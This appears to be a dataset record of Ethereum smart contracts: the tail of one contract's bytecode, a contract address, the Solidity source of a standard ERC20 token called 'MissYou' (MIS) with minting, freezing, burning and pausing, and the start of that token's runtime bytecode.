a01b0392909216919091179055565b3360009081526001602090815260408083206001600160a01b03861684529091528120546138539083614138565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905551938452909260008051602061515b8339815191529101610c19565b60008060006138a78689613c7b565b905060006138b58887613de1565b905060006138c38983613c7b565b905060006138d18285614566565b90506138e581670de0b6b3a7640000613de1565b90506138f18c82613d57565b9050613905670de0b6b3a764000088613de1565b95506139118187613c7b565b955061392581670de0b6b3a7640000613c7b565b94506139318686613de1565b945050505050965096945050505050565b6000600260245414156139675760405162461bcd60e51b8152600401610c5590614f6a565b6002602455336000908152602160205260409020548311156139cb5760405162461bcd60e51b815260206004820152601d60248201527f4e6f7420656e6f756768204d61696e2c206465706f736974206d6f72650000006044820152606401610c55565b6009546040516370a0823160e01b81526000916001600160a01b0316906370a08231906139fc903390600401614bea565b60206040518083038186803b158015613a1457600080fd5b505afa158015613a28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613a4c91906149e7565b9050478015801590613a65575066b1a2bc2ec500008510155b8015613a7a57506801158e460913d000008210155b15613a8757613a87614235565b600b546001600160a01b039081166000908152601c6020526040808220600c5490931682529020601054871115613ad05760405162461bcd60e51b8152600401610c5590614cfb565b613ae48160010154610cf360326064613c7b565b851115613b035760405162461bcd60e51b8152600401610c5590614ec2565b6000613b4a8360010154613b20670de0b6b3a76400006019613d57565b8460010154613b38670de0b6b3a76400006019613d57565b6136ec8d610cf36103e76103e8613c7b565b909650905086861015613b6f5760405162461bcd60e51b8152600401610c5590614de5565b600c54600b546040516001600160a01b03928316929091169033906000805160206150fb83398151915290613ba7908d908c90614fa1565b60405180910390a433600090815260216020526040812080548a9290613bce908490614ffa565b925050819055508760166000828254613be79190614ffa565b909155505033600090815260208052604081208054889290613c0a908490614faf565b925050819055508560156000828254613c239190614faf565b90915550613c3a905088610cf360016103e8613c7b565b60186000828254613c4b9190614faf565b90915550613c599050613c69565b5050505050600160245592915050565b613c7161429d565b613c79614497565b565b600081613cb95760405162461bcd60e51b815260206004820152600c60248201526b4552525f4449565f5a45524f60a01b6044820152606401610c55565b6000613ccd84670de0b6b3a7640000614fdb565b9050831580613cec5750613ce18482614fc7565b670de0b6b3a7640000145b613d085760405162461bcd60e51b8152600401610c5590614d25565b6000613d15600285614fc7565b613d1f9083614faf565b905081811015613d415760405162461bcd60e51b8152600401610c5590614d25565b6000613d4d8583614fc7565b9695505050505050565b600080613d648385614fdb565b9050831580613d7b575082613d798583614fc7565b145b613d975760405162461bcd60e51b8152600401610c5590614e70565b6000613dab826706f05b59d3b20000614faf565b905081811015613dcd5760405162461bcd60e51b8152600401610c5590614e70565b6000613d4d670de0b6b3a764000083614fc7565b6000806000613df0858561466a565b915091508015613e365760405162461bcd60e51b81526020600482015260116024820152704552525f5355425f554e444552464c4f5760781b6044820152606401610c55565b509392505050565b60405163a9059cbb60e01b81526000906001600160a01b0385169063a9059cbb90613e6f9086908690600401614bfe565b602060405180830381600087803b158015613e8957600080fd5b505af1158015613e9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613ec191906149ca565b905080613ee05760405162461bcd60e51b8152600401610c5590614f41565b50505050565b6611c37937e080006017541115613c7957600b54600e5460175460405163a9059cbb60e01b81526000936001600160a01b039081169363a9059cbb93613f33939290911691600401614bfe565b602060405180830381600087803b158015613f4d57600080fd5b505af1158015613f61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f8591906149ca565b905080613fa45760405162461bcd60e51b8152600401610c5590614f41565b506000601755565b6001600160a01b038316600090815260208190526040902054811115613fd157600080fd5b6001600160a01b038316600090815260208190526040902054613ff49082613de1565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546140239082614138565b6001600160a01b0383811660008181526020818152604091829020949094555184815290929186169160008051602061513b833981519152910160405180910390a3505050565b614075823083613fac565b5050565b3060009081526020819052604090205481111561409557600080fd5b306000908152602081905260409020546140af9082613de1565b306000908152602081905260409020556002546140cc9082613de1565b600255604051818152600090309060008051602061513b833981519152906020015b60405180910390a350565b6040516323b872dd60e01b81526001600160a01b03838116600483015230602483015260448201839052600091908516906323b872dd90606401613e6f565b6000806141458385614faf565b90508381101561418a5760405162461bcd60e51b815260206004820152601060248201526f4552525f4144445f4f564552464c4f5760801b6044820152606401610c55565b9392505050565b306000908152602081905260409020546141ab9082614138565b306000908152602081905260409020556002546141c89082614138565b600255604051818152309060009060008051602061513b833981519152906020016140ee565b614075308383613fac565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061422d57508115155b949350505050565b6000614242600847614fc7565b905061424e338261434a565b80601960008282546142609190614faf565b909155505060405181815233907f802156a7f2652a91784564a0f4d3dfa6e1ae4033f7d4b4d58dae393437c50de69060200160405180910390a250565b601554600c546040516370a0823160e01b81526001600160a01b03909116906370a08231906142d0903090600401614bea565b60206040518083038186803b1580156142e857600080fd5b505afa1580156142fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061432091906149e7565b61432a9190614ffa565b600c546001600160a01b03166000908152601c6020526040902060010155565b604080516000808252602082019092526001600160a01b0384169083906040516143749190614bce565b60006040518083038185875af1925050503d80600081146143b1576040519150601f19603f3d011682016040523d82523d6000602084013e6143b6565b606091505b50509050806144135760405162461bcd60e51b815260206004820152602360248201527f5472616e7366657248656c7065723a204554485f5452414e534645525f46414960448201526213115160ea1b6064820152608401610c55565b505050565b6611c37937e080006018541115613c7957600b54601854604051632e1a7d4d60e01b81526001600160a01b0390921691632e1a7d4d9161445e9160040190815260200190565b600060405180830381600087803b15801561447857600080fd5b505af115801561448c573d6000803e3d6000fd5b505060006018555050565b60006018546017546016546144ac9190614faf565b6144b69190614faf565b600b546040516370a0823160e01b815291925082916001600160a01b03909116906370a08231906144eb903090600401614bea565b60206040518083038186803b15801561450357600080fd5b505afa158015614517573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061453b91906149e7565b6145459190614ffa565b600b546001600160a01b03166000908152601c602052604090206001015550565b600060018310156145b15760405162461bcd60e51b81526020600482015260156024820152744552525f42504f575f424153455f544f4f5f4c4f5760581b6044820152606401610c55565b671bc16d674ec7ffff8311156146025760405162461bcd60e51b815260206004820152601660248201527508aa4a4be84a09eaebe8482a68abea89e9ebe90928e960531b6044820152606401610c55565b600061460d836146a1565b9050600061461b8483613de1565b905060006146318661462c856146be565b6146d2565b905081614642579250610c25915050565b600061465387846305f5e100614745565b905061465f8282613d57565b979650505050505050565b6000808284106146895761467e8385614ffa565b60009150915061469a565b6146938484614ffa565b6001915091505b9250929050565b60006146ac826146be565b610c2590670de0b6b3a7640000614fdb565b6000610c25670de0b6b3a764000083614fc7565b6000806146e0600284615093565b6146f257670de0b6b3a76400006146f4565b835b9050614701600284614fc7565b92505b821561418a576147148485613d57565b9350614721600284615093565b15614733576147308185613d57565b90505b61473e600284614fc7565b9250614704565b600082818061475c87670de0b6b3a764000061466a565b9092509050670de0b6b3a764000080600060015b88841061482657600061478b82670de0b6b3a7640000614fdb565b90506000806147ab8a6147a685670de0b6b3a7640000613de1565b61466a565b915091506147bd87610cf3848c613d57565b96506147c98784613c7b565b9650866147d857505050614826565b87156147e2579315935b80156147ec579315935b8415614803576147fc8688613de1565b9550614810565b61480d8688614138565b95505b505050808061481e90615078565b915050614770565b50909998505050505050505050565b80356001600160a01b038116811461484c57600080fd5b919050565b60006020828403121561486357600080fd5b61418a82614835565b6000806040838503121561487f57600080fd5b61488883614835565b915061489660208401614835565b90509250929050565b6000806000606084860312156148b457600080fd5b6148bd84614835565b92506148cb60208501614835565b91506148d960408501614835565b90509250925092565b600080600080608085870312156148f857600080fd5b61490185614835565b935061490f60208601614835565b925061491d60408601614835565b9396929550929360600135925050565b60008060006060848603121561494257600080fd5b61494b84614835565b925061495960208501614835565b9150604084013590509250925092565b6000806040838503121561497c57600080fd5b61498583614835565b91506020830135614995816150e9565b809150509250929050565b600080604083850312156149b357600080fd5b6149bc83614835565b946020939093013593505050565b6000602082840312156149dc57600080fd5b815161418a816150e9565b6000602082840312156149f957600080fd5b5051919050565b600080600060608486031215614a1557600080fd5b8335925061495960208501614835565b60008060008060808587031215614a3b57600080fd5b84359350614a4b60208601614835565b93969395505050506040820135916060013590565b600080600060408486031215614a7557600080fd5b8335925060208401356001600160401b0380821115614a9357600080fd5b818601915086601f830112614aa757600080fd5b813581811115614ab657600080fd5b8760208260051b8501011115614acb57600080fd5b6020830194508093505050509250925092565b60008060408385031215614af157600080fd5b50508035926020909101359150565b60008060408385031215614b1357600080fd5b505080516020909101519092909150565b600080600060608486031215614b3957600080fd5b505081359360208301359350604090920135919050565b600080600080600060a08688031215614b6857600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b60008060008060008060c08789031215614ba457600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b60008251614be0818460208701615011565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6020815260008251806020840152614c36816040850160208701615011565b601f01601f19169190910160400192915050565b6020808252601a90820152792cb7ba903237903737ba103430bb32903832b936b4b9b9b4b7b760311b604082015260600190565b60208082526010908201526f2737ba1032b737bab3b4102a37b5b2b760811b604082015260600190565b6020808252600f908201526e08aa4a4be9a82a890be82a0a0a49eb608b1b604082015260600190565b60208082526010908201526f2737ba1032b737bab3b4103a37b5b2b760811b604082015260600190565b60208082526010908201526f4552525f4255595f494e5f524154494f60801b604082015260600190565b60208082526010908201526f11549497d1125597d25395115493905360821b604082015260600190565b60208082526047908201527f4c6971756964697479206973206c6f636b65642c20796f752063616e6e6f742060408201527f72656d6f7665206c697175696469747920756e74696c206166746572206c6f6360608201526635903a34b6b29760c91b608082015260a00190565b6020808252600f908201526e2737ba1032b737bab3b41026b0b4b760891b604082015260600190565b6020808252601a9082015279135a5b9a5b5d5b48185b5bdd5b9d081bdd5d081b9bdd081b595d60321b604082015260600190565b602080825260149082015273131a5c5d5a591a5d1e481b9bdd081b1bd8dad95960621b604082015260600190565b6020808252600f908201526e14ddd85c081b9bdd081bdc195b9959608a1b604082015260600190565b60208082526010908201526f4552525f4d554c5f4f564552464c4f5760801b604082015260600190565b6020808252600e908201526d4552525f53454c4c5f524154494f60901b604082015260600190565b6020808252601290820152714f766572204d41585f4f55545f524154494f60701b604082015260600190565b60208082526033908201527f436f6e74726163747320617265206e6f7420616c6c6f77656420746f20696e7460408201527206572616374207769746820746865205377617606c1b606082015260800190565b6020808252600f908201526e4552525f45524332305f46414c534560881b604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b918252602082015260400190565b60008219821115614fc257614fc26150a7565b500190565b600082614fd657614fd66150bd565b500490565b6000816000190483118215151615614ff557614ff56150a7565b500290565b60008282101561500c5761500c6150a7565b500390565b60005b8381101561502c578181015183820152602001615014565b83811115613ee05750506000910152565b600181811c9082168061505157607f821691505b6020821081141561507257634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561508c5761508c6150a7565b5060010190565b6000826150a2576150a26150bd565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b80151581146150f757600080fd5b5056fec5f954edb6f50c3415e43c4c343ed2fac83243f08807d721c27e2ccb634c36fa908fb5ee8f16c6bc9bc3690973819f32a4d4b10188134543c88706e0e1d43378ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a26469706673582212208f5c475ddbdb0cba8a6e89ee08f8de7b55e30e0740344aaf3371322e03ccbdf164736f6c63430008070033
[ 6, 7, 9, 12, 13, 5 ]
0xf2be263ed9be57bcafbd625f156ca9b639cd640c
pragma solidity ^0.4.24; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 0; uint8 public constant TOKEN_DECIMALS_UINT8 = 0; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "MissYou"; string public constant TOKEN_SYMBOL = "MIS"; bool public constant PAUSED = false; address public constant TARGET_USER = 0x210d60d0ec127f0fff477a1b1b9424bb1c32876d; bool public constant CONTINUE_MINTING = false; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { event Initialized(); bool public initialized = false; constructor() public { init(); transferOwnership(TARGET_USER); } function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } address[1] memory addresses = [address(0x210d60d0ec127f0fff477a1b1b9424bb1c32876d)]; uint[1] memory amounts = [uint(690000000000)]; uint64[1] memory freezes = [uint64(0)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { mint(addresses[i], amounts[i]); } else { mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } if (!CONTINUE_MINTING) { finishMinting(); } emit Initialized(); } }
0x6080604052600436106101d65763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416623fd35a81146101db57806302d6f7301461020457806305d2035b1461024c57806306fdde0314610261578063095ea7b3146102eb5780630bb2cd6b1461030f578063158ef93e1461034057806317a950ac1461035557806318160ddd14610388578063188214001461039d57806323b872dd146103b25780632a905318146103dc578063313ce567146103f15780633be1e9521461041c5780633f4ba83a1461044f57806340c10f191461046457806342966c681461048857806356780085146104a05780635b7f415c146104b55780635be7fde8146104ca5780635c975abb146104df57806366188463146104f457806366a92cda1461051857806370a082311461052d578063715018a61461054e578063726a431a146105635780637d64bcb4146105945780638456cb59146105a95780638da5cb5b146105be57806395d89b41146105d3578063a9059cbb146105e8578063a9aad58c146101db578063ca63b5b81461060c578063cf3b19671461062d578063d73dd62314610642578063d8aeedf514610666578063dd62ed3e14610687578063f2fde38b146106ae575b600080fd5b3480156101e757600080fd5b506101f06106cf565b604080519115158252519081900360200190f35b34801561021057600080fd5b50610228600160a060020a03600435166024356106d4565b6040805167ffffffffffffffff909316835260208301919091528051918290030190f35b34801561025857600080fd5b506101f0610761565b34801561026d57600080fd5b50610276610771565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102b0578181015183820152602001610298565b50505050905090810190601f1680156102dd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102f757600080fd5b506101f0600160a060020a03600435166024356107a8565b34801561031b57600080fd5b506101f0600160a060020a036004351660243567ffffffffffffffff6044351661080e565b34801561034c57600080fd5b506101f06109ac565b34801561036157600080fd5b50610376600160a060020a03600435166109cf565b60408051918252519081900360200190f35b34801561039457600080fd5b506103766109e0565b3480156103a957600080fd5b506102766109e6565b3480156103be57600080fd5b506101f0600160a060020a0360043581169060243516604435610a1d565b3480156103e857600080fd5b50610276610a4a565b3480156103fd57600080fd5b50610406610a81565b6040805160ff9092168252519081900360200190f35b34801561042857600080fd5b5061044d600160a060020a036004351660243567ffffffffffffffff60443516610a86565b005b34801561045b57600080fd5b5061044d610bfa565b34801561047057600080fd5b506101f0600160a060020a0360043516602435610c73565b34801561049457600080fd5b5061044d600435610d6b565b3480156104ac57600080fd5b50610376610d78565b3480156104c157600080fd5b506103766106cf565b3480156104d657600080fd5b50610376610d7d565b3480156104eb57600080fd5b506101f0610de2565b34801561050057600080fd5b506101f0600160a060020a0360043516602435610df2565b34801561052457600080fd5b5061044d610ee2565b34801561053957600080fd5b50610376600160a060020a0360043516611085565b34801561055a57600080fd5b5061044d6110ae565b34801561056f57600080fd5b5061057861111c565b60408051600160a060020a039092168252519081900360200190f35b3480156105a057600080fd5b506101f0611134565b3480156105b557600080fd5b5061044d6111b8565b3480156105ca57600080fd5b50610578611236565b3480156105df57600080fd5b50610276611245565b3480156105f457600080fd5b506101f0600160a060020a036004351660243561127c565b34801561061857600080fd5b50610376600160a060020a03600435166112a7565b34801561063957600080fd5b506104066106cf565b34801561064e57600080fd5b506101f0600160a060020a036004351660243561132d565b34801561067257600080fd5b50610376600160a060020a03600435166113c6565b34801561069357600080fd5b50610376600160a060020a03600435811690602435166113e1565b3480156106ba57600080fd5b5061044d600160a060020a036004351661140c565b600081565b600080805b8360010181101561072d57600360006106fc878667ffffffffffffffff1661142c565b815260208101919091526040016000205467ffffffffffffffff16925082151561072557610759565b6001016106d9565b60046000610745878667ffffffffffffffff1661142c565b815260208101919091526040016000205491505b509250929050565b60065460a060020a900460ff1681565b60408051808201909152600781527f4d697373596f7500000000000000000000000000000000000000000000000000602082015290565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6006546000908190600160a060020a0316331461082a57600080fd5b60065460a060020a900460ff161561084157600080fd5b600154610854908563ffffffff61146016565b60015561086b8567ffffffffffffffff851661142c565b60008181526004602052604090205490915061088d908563ffffffff61146016565b600082815260046020908152604080832093909355600160a060020a03881682526005905220546108c4908563ffffffff61146016565b600160a060020a0386166000908152600560205260409020556108e7858461146d565b604080518581529051600160a060020a038716917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a26040805167ffffffffffffffff85168152602081018690528151600160a060020a038816927f2ecd071e4d10ed2221b04636ed0724cce66a873aa98c1a31b4bb0e6846d3aab4928290030190a2604080518581529051600160a060020a0387169133916000805160206119d68339815191529181900360200190a3506001949350505050565b600654760100000000000000000000000000000000000000000000900460ff1681565b60006109da82611607565b92915050565b60015490565b60408051808201909152600781527f4d697373596f7500000000000000000000000000000000000000000000000000602082015281565b60065460009060a860020a900460ff1615610a3757600080fd5b610a42848484611622565b949350505050565b60408051808201909152600381527f4d49530000000000000000000000000000000000000000000000000000000000602082015281565b600090565b6000600160a060020a0384161515610a9d57600080fd5b33600090815260208190526040902054831115610ab957600080fd5b33600090815260208190526040902054610ad9908463ffffffff61178716565b33600090815260208190526040902055610afd8467ffffffffffffffff841661142c565b600081815260046020526040902054909150610b1f908463ffffffff61146016565b600082815260046020908152604080832093909355600160a060020a0387168252600590522054610b56908463ffffffff61146016565b600160a060020a038516600090815260056020526040902055610b79848361146d565b604080518481529051600160a060020a0386169133916000805160206119d68339815191529181900360200190a36040805167ffffffffffffffff84168152602081018590528151600160a060020a038716927f2ecd071e4d10ed2221b04636ed0724cce66a873aa98c1a31b4bb0e6846d3aab4928290030190a250505050565b600654600160a060020a03163314610c1157600080fd5b60065460a860020a900460ff161515610c2957600080fd5b6006805475ff000000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600654600090600160a060020a03163314610c8d57600080fd5b60065460a060020a900460ff1615610ca457600080fd5b600154610cb7908363ffffffff61146016565b600155600160a060020a038316600090815260208190526040902054610ce3908363ffffffff61146016565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206119d68339815191529181900360200190a350600192915050565b610d753382611799565b50565b600181565b6000806000610d8d3360006106d4565b67ffffffffffffffff909116925090505b8115801590610dac57508142115b15610ddd57610db9610ee2565b91820191610dc83360006106d4565b67ffffffffffffffff90911692509050610d9e565b505090565b60065460a860020a900460ff1681565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610e4757336000908152600260209081526040808320600160a060020a0388168452909152812055610e7c565b610e57818463ffffffff61178716565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000806000806000610ef533600061142c565b60008181526003602052604090205490955067ffffffffffffffff169350831515610f1f57600080fd5b8367ffffffffffffffff164267ffffffffffffffff16111515610f4157600080fd5b610f55338567ffffffffffffffff1661142c565b600081815260036020908152604080832054600483528184208054908590553385529284905292205492955067ffffffffffffffff90911693509150610fa1908263ffffffff61146016565b3360009081526020818152604080832093909355600590522054610fcb908263ffffffff61178716565b3360009081526005602052604090205567ffffffffffffffff8216151561100e576000858152600360205260409020805467ffffffffffffffff19169055611048565b600085815260036020526040808220805467ffffffffffffffff861667ffffffffffffffff19918216179091558583529120805490911690555b60408051828152905133917fb21fb52d5749b80f3182f8c6992236b5e5576681880914484d7f4c9b062e619e919081900360200190a25050505050565b600160a060020a0381166000908152600560205260408120546110a783611607565b0192915050565b600654600160a060020a031633146110c557600080fd5b600654604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26006805473ffffffffffffffffffffffffffffffffffffffff19169055565b73210d60d0ec127f0fff477a1b1b9424bb1c32876d81565b600654600090600160a060020a0316331461114e57600080fd5b60065460a060020a900460ff161561116557600080fd5b6006805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600654600160a060020a031633146111cf57600080fd5b60065460a860020a900460ff16156111e657600080fd5b6006805475ff000000000000000000000000000000000000000000191660a860020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600654600160a060020a031681565b60408051808201909152600381527f4d49530000000000000000000000000000000000000000000000000000000000602082015290565b60065460009060a860020a900460ff161561129657600080fd5b6112a08383611888565b9392505050565b600080600360006112b985600061142c565b815260208101919091526040016000205467ffffffffffffffff1690505b67ffffffffffffffff81161561132757600190910190600360006113058567ffffffffffffffff851661142c565b815260208101919091526040016000205467ffffffffffffffff1690506112d7565b50919050565b336000908152600260209081526040808320600160a060020a0386168452909152812054611361908363ffffffff61146016565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a031660009081526005602052604090205490565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600654600160a060020a0316331461142357600080fd5b610d7581611957565b6801000000000000000091909102177f57495348000000000000000000000000000000000000000000000000000000001790565b818101828110156109da57fe5b6000808080804267ffffffffffffffff87161161148957600080fd5b61149d878767ffffffffffffffff1661142c565b94506114aa87600061142c565b60008181526003602052604090205490945067ffffffffffffffff1692508215156114fd5760008481526003602052604090208